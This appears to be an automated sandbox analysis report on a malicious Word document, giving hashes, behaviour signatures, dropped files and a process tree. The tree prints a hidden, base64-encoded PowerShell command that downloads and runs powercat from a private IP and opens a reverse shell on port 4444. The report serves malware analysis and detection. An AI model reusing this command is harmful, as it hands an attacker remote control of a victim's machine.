Analysis

  • max time kernel
    46s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 21:58

General

  • Target

    a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc

  • Size

    30KB

  • MD5

    68bc25652d7c957bb2e38bf08cbc29b6

  • SHA1

    8aa49fd09dcad64e112ebcf9736d6922b60175c9

  • SHA256

    a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513

  • SHA512

    d9e87f1d2aea6ee8c2100da6c40a8f2f38075d8dedabf1e408f06ad7813686f6e624d60f71f710e330a1bf779c575b48b8d033c740bbee0db1c28af7f52dd3fd

  • SSDEEP

    192:OaIlLZEvA+6/6rNavrgYjk+4bWlMYTxsud3cvP+rDBLg0jw2tqflTXPa:TE8iSwvxjk+tMYN30P+rDZg0j/tq9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.45.218/powercat.ps1

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a474f85bae9fe1f702af66093264cac9be9f8eb9de88e6478ed81d4512dd2513.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMQA4ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4128

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDDD0D.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kazybfeu.bgb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    d50fd3bee69892555c145f7c032c8624

    SHA1

    549ee2734c7411b0df79faf3a45beb292a4baeda

    SHA256

    72a1239b378fd0e6f24d5acd9e82f3f8dd4d0f0864dea00af8ce4a6715f68002

    SHA512

    91da9b06893a07ffc97d94d30b6df7d094525b5a8e95a719b93bee343e1399a83013f7adf78864567ff4fd76e974fe64516d7bac188237785dbe2bf5b8c5fc82

  • memory/2400-11-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-13-0x00007FFF22830000-0x00007FFF22840000-memory.dmp

    Filesize

    64KB

  • memory/2400-9-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-7-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-6-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-8-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-10-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-12-0x00007FFF22830000-0x00007FFF22840000-memory.dmp

    Filesize

    64KB

  • memory/2400-3-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

    Filesize

    64KB

  • memory/2400-0-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

    Filesize

    64KB

  • memory/2400-14-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-23-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-24-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-1-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

    Filesize

    64KB

  • memory/2400-203-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/2400-2-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

    Filesize

    64KB

  • memory/2400-4-0x00007FFF24890000-0x00007FFF248A0000-memory.dmp

    Filesize

    64KB

  • memory/2400-5-0x00007FFF648AD000-0x00007FFF648AE000-memory.dmp

    Filesize

    4KB

  • memory/2400-200-0x00007FFF64810000-0x00007FFF64A05000-memory.dmp

    Filesize

    2.0MB

  • memory/4128-36-0x00000181C7580000-0x00000181C75A2000-memory.dmp

    Filesize

    136KB